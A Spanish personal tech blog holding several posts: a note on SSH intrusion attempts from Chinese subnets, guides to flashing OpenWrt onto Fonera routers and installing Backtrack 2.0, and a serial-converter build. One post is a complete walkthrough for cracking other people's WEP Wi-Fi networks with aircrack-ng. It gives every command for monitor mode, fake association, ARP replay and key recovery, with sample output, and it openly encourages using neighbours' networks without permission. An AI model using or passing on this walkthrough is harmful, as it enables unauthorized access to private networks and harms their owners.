Desde China ¿con amor?

blackhat Si tienes un servidor con presencia en Internet, usas (como deberías) algún sistema para bloquear los intentos de acceso no autorizados como fail2ban o denyhosts y analizas de vez en cuando los logs, no voy a decirte nada nuevo: en los últimos meses hemos experimentado un aumento inusitado de intentos de intrusión desde direcciones IP procedentes de China. En mi caso, en los últimos tres meses el 83% de los intentos irregulares de entrada a través de ssh que he observado proceden de este país. Concretando aún más, el 50% del total de estos intentos procede de la subred 116.10.191.0/24 y el 25% de la subred 61.174.51.0/24. Así que ya sabes: si eres de los que prefieres los métodos preventivos ya tardas en banear ambas subredes en tus cortafuegos.

Crackeando WEP con Backtrack: comparte Wi-Fi durante el verano

wireless La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una? 😀 ), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

Wep Crack con Backtrack & Aircrack

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

Wep Crack con Backtrack & Aircrack

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Wep Crack con Backtrack & Aircrack

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

Wep Crack con Backtrack & Aircrack

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP 😀

Instalando OpenWrt en la Fonera (y II)

fonBueno. Vamos a terminar con esto que dejamos a medias hace un par de días que no me gusta dejar las cosas incompletas. Haciendo un breve repaso de la situación, si lo que quieres es una fonera pero más controladita no sigas leyendo y quédate donde lo dejamos en el anterior texto. Si prefieres jugar con un router inalámbrico más serio acompáñame en los siguientes párrafos.

Empezamos por los preliminares. Vamos a necesitar un servidor tftp, una especie de FTP sencillote que suele usarse como sistema de actualización en dispositivos con pocos recursos como este. En Linux puedes usar fácilmente el tftpd y en Debian o distribuciones derivadas (Ubuntu, Kubuntu, etc.) es tan fácil como instalar los paquetes apropiados (sudo apt-get install tftp tftpd xinetd) y crear un fichero de configuración llamado tftp dentro del directorio /etc/xinet.d con el siguiente contenido:

service tftp
{
protocol = udp
port = 69
socket_type = dgram
wait = yes
user = nobody
server = /usr/sbin/in.tftpd
server_args = /tftpboot
disable = no
}

Ahora debemos de crear el directorio que hemos indicado como raíz de nuestro servidor tftp (sudo mkdir /tftpboot), y cambiar sus permisos y propietario (sudo chmod -R 777 /tftpboot; sudo chown -R nobody /tftpboot). Dentro de ese directorio dejaremos los dos ficheros que nos harán falta para sustituir el firmware de la fonera que son openwrt-atheros-2.6-vmlinux.lzma y openwrt-atheros-2.6-root.squashfs. Muy importante: hay que dejarlos “a pelo” en el mismo directorio ya que el tftp no reconocerá ninguna estructura jerárquica. Por último en cuanto a este paso, reiniciamos el servicio xinetd que es el que da soporte a nuestro tftp (sudo /etc/init.d/xinetd restart) y volvemos con la fonera.

Lo primero que necesitamos es instalar Redboot. El procedimiento a seguir, en dos pasos y con un reinicio de por medio, puede verse en los dos siguientes pantallazos de mi terminal:

instalando redboot en la fonera
instalando redboot en la fonera

Para facilitar los “corta y pega” los comandos son estos:

cd /tmp
wget http://fonera.info/camicia/openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma
mtd -e vmlinux.bin.l7 write openwrt-ar531x-2.4-vmlinux-CAMICIA.lzma vmlinux.bin.l7
reboot

Después del reinicio nos conectamos de nuevo y ejecutamos la segunda parte:

cd /tmp
wget http://fonera.info/camicia/out.hex
mtd -e “RedBoot config” write out.hex “RedBoot config”
reboot

Después de esto nuestra fonera arrancará con Redboot y con la dirección IP 192.168.1.254. El acceso a Redboot solamente puede hacerse durante los primeros segundos una vez que el sistema arranque con lo cual es importante que estemos atentos (aunque, si nos despistamos, no pasa nada: apagamos la fonera y volvemos a intentarlo). El acceso a Redboot ha de hacerse por telnet y a través del puerto 9000.

El proceso completo, desde la conexión a Redboot hasta el reset final puede verse en el siguiente pantallazo:

instalando openwrt en la fonera

Igualmente, los comandos y unas aclaraciones a los mismos:

ip_address -l 192.168.1.254 -h 192.168.1.5
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-vmlinux.lzma
fis init
fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
fis free
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-root.squashfs
fis create -l 0x6f0000 rootfs
reset

En la primera línea es en la que definimos la conexión con el servidor tftp. La primera IP que aparece es la de nuestra fonera y la segunda la de la máquina que aloja al servidor. El otro comando al que hay que prestar atención es el que aparece en la línea 7. Es el momento en que decimos la dirección de memoria donde debe de ubicar la raíz del sistema de ficheros. La dirección hexadecimal que ahí aparece no es arbitraria: es el resultado de restar las dos direcciones que nos devuelve como resultado el comando de la línea 5 (fis free). En mi caso y (en casi todos los ejemplos que he visto en Internet) estos valores son 0xA80F0000 y 0xA87E0000 y por tanto el resultado es el 0x6f0000 que aparece en el comando de la línea 7. Poned atención por si acaso y, si lo necesitáis, ajustad el cálculo vosotros mismos.

Una última advertencia: algunos de los comandos anteriores se demoran bastante (más de 15 minutos en algunos casos). No os impacientéis y no rompáis el proceso ni apaguéis la alimentación de la fonera en el transcurso de estas esperas.

El primer arranque de OpenWrt se hace con el wifi deshabilitado y asignando la dirección 192.168.1.1 a la ethernet de la fonera. Esto posiblemente entrará en conflicto con nuestro router si tenemos una instalación corriente, así que este primer arranque conviene hacerlo con la fonera conectada directamente por cable con nuestro ordenador el cual habremos configurado manualmente con una IP adecuada. La primera conexión deberemos de hacerla por telnet y una vez que asignemos una contraseña al usuario root (con el comando passwd) el acceso por telnet se deshabilitará y las conexiones subsiguientes podremos hacerlas ya por ssh como está mandado:

nuestro primer acceso a openwrt en la fonera

Y listo. Nuestro nuevo router ya está disponible. Ahora toca configurarlo y para eso hay muy buenos recursos en la red. Yo sólo os voy a ayudar a dar los primeros pasos para que los menos habituados a estas lides no se frustren nada más empezar ¿de acuerdo?

Lo primero que necesitamos es reconfigurar el interface ethernet. Para ello editamos con vi el fichero /etc/config/network y allí modificamos la opción correspondiente a la dirección IP y completamos la configuración al menos indicando el router y el dns que queremos que use. El resultado final de este fichero debe de quedar más o menos así:

# Copyright (C) 2006 OpenWrt.org

config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0

config interface lan
option ifname eth0
option type bridge
option proto static
option ipaddr 192.168.1.4
option netmask 255.255.255.0
option gateway 192.168.1.1
option dns 192.168.1.1

Salvamos los cambios y reiniciamos la red (/etc/init.d/network restart). Después de esto perderemos la conexión de la sesión de ssh (le hemos cambiado la dirección IP al dispositivo, recordad) pero ya podremos integrarlo directamente a nuestra red y en la próxima conexión que hagamos tendrá acceso a Internet, lo cual nos resulta imprescindible para el siguiente paso: instalarle una interfaz web para su gestión.

OpenWrt usa un sistema de gestión de paquetes denominado ipkg que en líneas generales resulta muy similar a nuestro familiar apt-get pero que es mucho más ligero y, por tanto muy adecuado para este tipo de dispositivos. Para actualizar los paquetes del sistema, por ejemplo, ejecutamos ipkg update y a continuación ipkg upgrade. Os suena mucho ¿verdad?

root@OpenWrt:~# ipkg update
Downloading http://downloads.openwrt.org/kamikaze/7.09/atheros-2.6/packages/Packages
Updated list of available packages in /usr/lib/ipkg/lists/release
Downloading http://downloads.openwrt.org/kamikaze/packages/mips/Packages
Updated list of available packages in /usr/lib/ipkg/lists/packages
Done.
root@OpenWrt:~# ipkg upgrade
Nothing to be done
Done.
root@OpenWrt:~#

Para instalar X-Wrt, que es la interfaz web de gestión que usa OpenWrt, necesitamos editar el archivo /etc/ipkg.conf y añadirle la siguiente línea:

src X-Wrt http://downloads.x-wrt.org/xwrt/kamikaze/7.09/atheros-2.6/packages

A continuación volvemos a actualizar la base de datos de paquetes (ipkg update) e instalamos el paquete webif (ipkg install webif):

instalando x-wrt en la fonera

Ahora, si ya estamos un poco aburridos de la línea de comandos, podemos continuar a través de esta interfaz web escribiendo en nuestro navegador la dirección que le hemos asignado al dispositivo y usando como usuario de acceso root y la contraseña que le hayamos puesto al mismo. Echadle un vistazo y ya veréis que diferencia en cuanto a posibilidades con respecto a lo que teníamos originalmente…

acceso a la fonera con x-wrt

Sólo os acompaño en una cosa más y ya os dejo solos. Hasta ahora tenemos un router wifi… pero sin wifi ya que este sigue desactivado. Para arreglar esto entramos en Network, seleccionamos Wireless, marcamos la opción de Radio en ON, modificamos, si así lo queremos, el ESSID que trae por defecto, salvamos los cambios y, que no se nos olvide, los aplicamos hasta que la opción de “review changes” esté vacía (esto puede precisar más de una aplicación de cambios). En unos segundos nuestros dispositivos wifi detectarán la nueva señal que, por el momento, está totalmente abierta y sin cifrado alguno.

acceso wifi a openwrt

Para activar el cifrado, en la misma página donde estamos hay un selector marcado como Encription Type que tiene seleccionada la opción de Disabled. Elegimos, por ejemplo, WPA2 (PSK), cumplimentamos la clave que usará el cifrado en el casillero WPA PSK que nos aparece tras haber hecho la elección y se nos solicita que elijamos entre dos paquetes diferentes para su instalación: uno que sólo sirve para PSK y PSK2 llamado HostAPD-Mini y otro que incluye también la opción de autenticación mediante un servidor RADIUS (HostAPD). Elegimos el que creamos conveniente (yo he escogido el segundo porque la autenticación mediante RADIUS es una de las cosas con las que me apetece jugar) pulsando sobre el botón adecuado y listo.

cifrando el acceso wifi en openwrt

No os asustéis por el final del proceso que concluye mostrando en el navegador el fichero .sh que ha ejecutado en el dispositivo. Pulsar la flecha atrás de vuestro navegador y volveréis a la página de configuración de la interfaz inalámbrica del OpenWrt. Si ahora pulsamos F5 veremos que tenemos cambios por revisar. Los aplicamos y con esto nuestra conexión inalámbrica ya estará lista para ser usada de forma segura.

Y ahora ya si que os dejo que sigáis jugando solos 😉

Toda la documentación que he utilizado y algunos extras adicionales están en el tag fonera de mi del.icio.us. Hay cosas realmente interesantes. Echadles un vistazo si queréis aprender un poquito más o explorar otras posibilidades.

Instalando OpenWrt en la Fonera (y I)

fon Tenía pendiente “flashear” un par de foneras para liberarlas y cargarles OpenWRT desde hace casi seis meses pero hasta ayer no encontré tiempo para hacerlo. Lo bueno es que al final la cosa salió bien. Lo malo que tardé más de la cuenta pero estaba tan enfrascado en ello que, cuando me quise dar cuenta, era la 1.30 de la madrugada, así que me quede sin ir al cine a ver la última que le gustó a Tormento (son tan escasas sus críticas positivas que no hay más remedio que atenderlas) que era lo que en realidad tenía pensado para ayer tarde… Os dejo aquí la chuleta para que a vosotros no os pase lo mismo que a mí y podáis disfrutar de una vida social un poco más sana que la mía. Como esto ha salido bastante largo lo voy a cortar en dos pedazos, pero no preocuparos que os voy a cobrar lo mismo 😉

Lo primero que hay que hacer para meterle mano a una fonera, y eso ya lo sabemos todos, es habilitar el acceso a la misma por ssh. Ya conté por aquí hace más de un año como hacerlo por hardware a través del puerto serie interno. Ahora se trataba de hacerlo por software por aquello de experimentar, ya sabéis. El método más usual de hacerlo consiste en “engañar” a la fonera con un DNS trucado de forma que al reiniciarla, momento en el que se trata de conectar con FON buscando actualizaciones de software, en realidad lo que se descarga es un parche que nos permite acceder temporalmente a ella por ssh a través del puerto wifi. Desgraciadamente parece que este hack sólo funciona con la versión 0.7.1.r2 o inferiores y mis foneras venían ya con la versión 0.7.2.r2 (¡y se actualizaron a la 0.7.2.r3 la primera vez que las dejé que llamaran a casa solitas!), así que parecía claro que lo primero que había que hacer es instalarles una versión de firmware inferior. Vamos a ello.

conectando a la fonera con knetworkmanager Sin conectar la fonera a Internet (para que no actualice su firmware) la encendemos y esperamos a que inicialice. Cuando lo haga podremos conectarnos a ella a través de la señal privada que difunde (MyPlace) usando como clave WPA su número de serie. La fonera arranca con la dirección IP 192.168.10.1 asignada a su interfaz inalámbrica, así que una vez autenticados a través del wifi escribimos esta IP en la barra de direcciones de nuestro navegador y accedemos a la pequeña web de administración del dispositivo con el usuario root y la contraseña admin.

Ahora nos vamos a la sección advanced del menú lateral y reconfiguramos el interface de red (Internet Connection) proporcionándole una IP estática dentro del rango de nuestra red y, muy importante, la IP 88.198.165.155 como servidor DNS. Una vez hecho esto pulsamos el botón de submit, apagamos la fonera, le conectamos el cable de ethernet y la volvemos a encender.

modificando la configuración de red

Una vez que ha rearrancado y que volvemos a tener acceso web a ella, la reseteamos pulsando el botón que tiene en su parte inferior durante al menos 30 segundos para forzar una actualización automática del firmware. El arranque tardará esta vez bastante más tiempo pero cuando este finalice tendremos ya instalada la versión 0.7.1.r2. Pero, cuidado, la configuración de conexión a Internet también se ha reiniciado y vuelve a apuntar al servidor de DNS de FON con lo cual hay que permanecer atentos y en el mismo momento en que tengamos acceso a ella (señal de que ha rearrancado correctamente) hay que desconectarle el cable de red para abortar cualquier nuevo intento de actualización por parte de FON. Ahora volvemos a modificar la conexión de red (la misma que antes), pulsamos submit, apagamos la fonera, le volvemos a conectar el cable de red y la encendemos otra vez. Después de que vuelva a encender (tardará de nuevo un poco más de lo normal aunque no tanto como en la anterior ocasión) dejamos transcurrir unos minutos (tened paciencia: está aplicando los cambios y se trata de un dispositivo lentito) y ya tendremos acceso a ella a través de ssh y del interfaz inalámbrico. Usuario y contraseña siguen siendo root y admin, respectivamente:

entrando por ssh a la fonera

Los siguientes pasos ya se han comentado en muchas ocasiones: hay que habilitar el ssh de forma permanente y deshabilitar las actualizaciones automáticas por parte de FON. Para lo primero tenemos que editar el fichero /etc/firewall.user y descomentar las líneas 22 y 23 dejándolas así:

### Open port to WAN
## — This allows port 22 to be answered by (dropbear on) the router
iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
iptables -A input_rule -i $WAN -p tcp –dport 22 -j ACCEPT

Luego creamos un enlace para que el demonio de Dropbear (el pequeño servidor ssh que usa la fonera) arranque de foma automática en el inicio del dispositivo:

ln -s /etc/init.d/dropbear /etc/init.d/S50dropbear

Para lo segundo basta con editar el fichero /bin/thinclient y comentar la última línea (la 56) que es donde se ejecutan las actualizaciones. La línea debe de quedar así:

# . /tmp/.thinclient.sh

Reiniciamos (reboot) y tras el rearranque ya podremos acceder a ella también a través del interface ethernet y no tendremos que preocuparnos de que una actualización de software no deseada nos vuelva a dejar sin el control de nuestro aparatito.

Hasta aquí, y si modificamos de nuevo los datos de la conexión a Internet volviendo a decirle que use el servidor DNS de FON (213.134.45.129) seguimos teniendo una fonera plenamente operativa y funcional con la salvedad de que ahora el control de lo que se instala en la misma es sólo nuestro y que podemos acceder a ella a través de ssh. En la segunda parte contaré como, a partir de aquí, instalar el firmware de OpenWrt.

Los primeros pasos con Backtrack 2.0

icono distintivo de los textos de hackingLa semana pasada vio la luz la versión final de Backtrack 2.0, una distribución de GNU/Linux basada en Slackware y centrada en servir como soporte para realizar tests de penetración. No es una distribución fácil orientada a novatos. Su principal valor reside en que trae instaladas y perfectamente configuradas más de 300 aplicaciones diferentes perfectamente clasificadas en categorías (escalado de privilegios, escaneo de vulnerabilidades, escaneos de red…) tanto nativas del mundo Linux como aplicaciones windows listas para ser usadas a través de wine. Al margen de esto (que no es poco, cuidado, supone semanas de trabajo y mucha experiencia preparar un entorno de trabajo similar a este) que nadie se espere tutoriales ni asistentes específicos para usar las herramientas (a no ser que los traigan ellas mismas “de serie”) ni tan siquiera una indicación de cual debemos usar en casa situación. Eso depende de nosotros.

Para quien quiera experimentar con ella lo primero que hay que hacer es bajarse la iso (cerca de 700 Megas). A partir de aquí tenemos dos opciones: quemar un CD con esta imagen o configurar una máquina virtual para usarla desde nuestro actual sistema. Si elegimos la primera opción tendremos como resultado un LiveCD que, una vez arrancado, nos permitirá usar todas sus herramientas. También tendremos la opción de instalarlo localmente y ni que decir tiene que si nuestro interés en ella no es meramente temporal es conveniente que lo hagamos para no perder las actualizaciones y personalizaciones que realicemos.

Para la segunda opción (crear una máquina virtual) y si vamos a usar vmplayer basta con que utilicemos la imagen que nos hemos bajado como uno de los CD’s en la definición de la máquina virtual que vamos a crear. Salvo que nos dediquemos a esto profesionalmente y/o podamos dedicar un portatil de forma exclusiva para ella creo que es la mejor opción. Para crear dicha definición podemos partir de una ya existente, usar EasyVMX o, para los más perezosos, bajarse este zip con la que yo he preparado. En este último caso basta con que desempaqueteis el contenido del zip en el mismo directorio donde os hayais bajado la imagen iso y que tengais en cuenta que el nombre de la misma debe de coincidir con el del parámetro ide1:1.fileName del fichero backtrack.vmx (en mi caso bt2final.iso).

Pantallazo inicial de backtrack 2.0

Si todo va bien Backtrack arranca y muestra el pantallazo de la imagen anterior en el que nos muestra las credenciales necesarias para hacer login como root de la máquina y algunos comandos útiles. Las herramientas que funcionan en modo texto (nmap, netdiscover, aircraft, etc.) están disponibles y listas para funcionar desde ya. Para otras tendremos que usar uno de los dos entornos gráficos disponibles: kde o fluxbox. Las herramientas, como podemos ver en este segundo detalle, están perfectamente clasificadas según su orientación:

Pantallazo de backtrack 2.0 con kde

Si hemos usado una máquina virtual para echarle un vistazo pero queremos gozar de las ventajas de una instalación local el siguiente paso es, lógicamente, instalarlo. La definición de la máquina que os he enlazado antes consta de un disco de 4 GB sin particionar, así que lo primero que tenemos que hacer es crear una partición para hacer la instalación. La distribución trae qtparted (aunque no aparece en ninguno de los menús) así que quien le tenga alergia a la línea de comandos no tiene excusas.

Pantallazo de qtparted en backtrack 2.0

A continuación realizamos la instalación (kde -> system -> Backtrack installer) dónde sólo hay que indicar el cdrom de origen, el disco de destino y el tipo de instalación.

Pantallazo de la instalación de backtrack 2.0

Una vez hecha la instalación reiniciamos la máquina para que arranque ya desde este disco duro tan virtual como nuestra máquina, pero antes de hacerlo y si hemos elegido la opción de instalación completa, podemos liberar el espacio de la imagen iso que ya no es necesaria borrando el archivo correspondiente y comentado o eliminando las líneas que lo referencian en el archivo .vmx:

# Settings for the optional virtual CDROM, ISO-image
#ide1:1.present = "TRUE"
#ide1:1.fileName = "bt2final.iso"
#ide1:1.deviceType = "cdrom-image"
#ide1:1.mode = "persistent"
#ide1:1.startConnected = "TRUE"

Y listo. Ahora queda la parte difícil: aprender a usar las herramientas y a saber elegir cual es la más adecuada según la ocasión. Pero esto es ya cosa vuestra. Suerte.

Habilitando acceso por ssh a la fonera

Después de leer todos los comentarios de gente con problemas en el post de art-extreme y en un hilo de bandaancha comencé a tener dudas acerca de que fuese a funcionar, sobre todo después de los problemas que tuve en la fase final (y que ahora os comentaré para que no os pase lo mismo). Pero funciona, ya lo creo que funciona. Voy a tratar de describiros el procedimiento paso a paso para que no le quede ninguna duda a nadie que quiera animarse a hacerlo. Vamos allá.

Circuito convertidor RS232-TTLLo primero que necesitamos es un circuito convertidor RS232 a niveles TTL. Yo he usado el sugerido en el post de art-extreme que es el que aparece en la figura de la derecha. En el hilo antes mencionado de bandaancha aparece uno ligeramente diferente y hay quien ha mencionado por ahí que es más fácil usando el chip max323 porque los niveles TTL de la fonera son de 3,3 voltios y no de 5 como en este. También he encontrado por ahí referencias a circuitos que no necesitan siquiera el max232 e incluso tiendas que venden el conversor ya hecho. Para quien no le guste meterse “a ciegas” y quiera saber exactamente que es lo que estamos haciendo os recomiendo este breve manual sobre comunicaciones serie. Venga, no seais perezosos y echadle un vistazo que os espero.

¿Listos? Ahora hay que ir a comprar los componentes. La “lista de la compra” acciende a 6,72? de los cuales 4,41? corresponden a la placa de pruebas. Os enumero a continuación:

  • Tira pins macho 1×40.- 0,73? (me sobran 36 así que si alguien los quiere ;-))

  • Circuito integrado max232.- 0,63?
  • Zócalo circuito integrado 2×8.- 0,24?
  • conector RS232 de 9 pines acodado.- 0,52?
  • 4 condensadores electrolíticos 1µF.- 0,11? (0,029? cada uno)
  • 1 condensador electrolítico 10µF.- 0,08?
  • Placa de pruebas 3 agujeros 100×160.- 4,41?

Aparte de estos componentes necesitamos un soldador, estaño, unas pinzas, cablecillos y conectores. Para estos últimos yo he cogido algunos de viejas cajas desechadas de ordenador.

Unos consejos antes de empezar: lo más sensible del circuito es el integrado pero si no estaís acostumbrados a manejarlos quizás no sepais que no se deben de colocar en su zócalo hasta que todo el montaje no está terminado para que no reciba demasiado calor durante la soldadura lo cual podría estropearlo. Fijaos bien ahora en el zócalo y en el integrado: ambos tienen una marca en forma de media luna que sirve para que sepamos cual es la parte superior del mismo y, por tanto, la numeración de las patillas: la número 1 es la que está a la izquierda de dicha muesca y a partir de esta se sigue contando a medida que se va descendiendo hasta el fin de la fila. Luego se continua por la ultima patilla de la fila enfrentada y se siguen contando pero ahora en forma ascendente hasta la patilla superior, de forma que la primera y la ultima patilla quedan enfrentadas a izquierda y derecha de la muesca respectivamente. En cuanto a los condensadores electrolíticos lo único que hay que tener en cuenta es que la patilla más larga corresponde al positivo y la corta (que suele ir marcada en la cápsula con un signo) al negativo.

Un último consejo: cuidado con las soldaduras frías que hacen malos contactos y tantos quebraderos de cabeza dan luego. La forma de hacer una soldadura correcta es como sigue: se aplica el soldador al punto donde vamos a soldar durante un par de segundos para calentar la zona. A continuación y sin retirar el soldador aplicamos el estaño y cuando este se funde y baña la zona nos retiramos rápidamente. Cómo la placa es muy grande podeis hacer pruebas con hilos de cobre en una de las esquinas para que os sintais seguros antes de pasar a la acción. Al final os debería de quedar algo como esto:

fonera3  fonera4

Yo he “apurado” el espacio porque tengo práctica (aunque hace años que no juego a estas cosas me pasé cuatro años soldando en la formación profesional y muchos más durante y después reparando pequeños electrodomésticos), porque posiblemente corte el circuito y lo conserve para usos futuros y porque rentabilizaré el resto de la placa para otras cosas. Si vosotros no os sentís tan seguros no teneis porque hacerlo así: teneis placa de sobra y si espaciais más los componentes luego el cableado de la parte inferior os resultará mucho más fácil. Sin verguenzas :-).

fonera2Y ahora viene la parte frustante. Realicé las conexiones tal y como se explicaba en los artículos que he mencionado antes pero no conseguí que funcionara. El terminal recibía caracteres pero nada inteligible. Al principio pensé que se trataba de que había elegido mal la emulación del terminal o los parámetros de conexión y me pasé varias horas jugando con esto sin resultados positivos. Pero al final hubo varias cosas que me dieron la pista definitiva. Por un lado al escribir una orden que el router debería de reconocer (un reboot, por ejemplo) el cacharro actuaba en consecuencia, es decir “escuchaba” lo que yo escribía aunque yo no lo viera correctamente. Luego estaba lo que había leído sobre los niveles de tensión… parecía claro que el circuito no estaba correctamente alimentado y que había que alimentarlo externamente con 5v. Para ello hice una pequeña chapuza usando un cargador universal de móvil a través de USB que entrega exactamente 5v (y que me regalaron en no se que presentación de un producto comercial de Compuware… eso para quien piense que es una tontería ir a estas cosas :-)).

Vamos, pues, a explicar como queda el conexionado final:

fonera1

